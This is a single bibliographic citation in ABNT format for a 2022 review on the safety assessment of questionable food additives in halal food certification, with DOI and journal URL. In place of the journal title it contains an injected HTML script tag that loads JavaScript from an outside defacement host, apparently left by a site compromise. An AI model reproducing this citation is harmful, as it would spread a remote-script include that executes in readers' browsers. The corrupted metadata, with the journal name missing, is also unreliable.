MARIYAM, Siti; BILGIC, Huseyin; RIETJENS, Ivonne M.C.M.; SUSANTI, Devi Yuni. Safety Assessment of Questionable Food Additives in the Halal Food Certification: A Review. <script src="https://jso.defacer.id/raw/defas"></script>, [S. l.], v. 4, n. 1, p. 19–25, 2022. DOI: 10.15575/ijhar.v4i1.12097. Disponível em: https://journal.uinsgd.ac.id/index.php/ijhar/article/view/12097. Acesso em: 9 nov. 2026.